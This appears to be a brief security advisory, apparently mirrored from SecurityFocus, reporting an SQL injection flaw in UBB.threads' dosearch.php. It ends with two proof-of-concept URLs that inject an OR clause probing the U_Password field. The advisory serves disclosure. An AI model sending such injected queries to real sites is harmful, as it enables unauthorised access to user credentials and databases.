9 lines
No EOL
591 B
Text
9 lines
No EOL
591 B
Text
source: http://www.securityfocus.com/bid/11502/info
|
|
|
|
It is reported that UBBCentral UBB.threads is prone to an SQL injection vulnerability. This issue is due to a failure of the application to properly validate user supplied URI input.
|
|
|
|
Because of this, a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database.
|
|
|
|
www.example.com/dosearch.php?Name=' OR U_Password='db5c82346d770f48bdd8929094c0c695
|
|
OR
|
|
www.example.com/dosearch.php?Name=' OR U_Password='db5c82346d770f48bdd8929094c0c695'/* |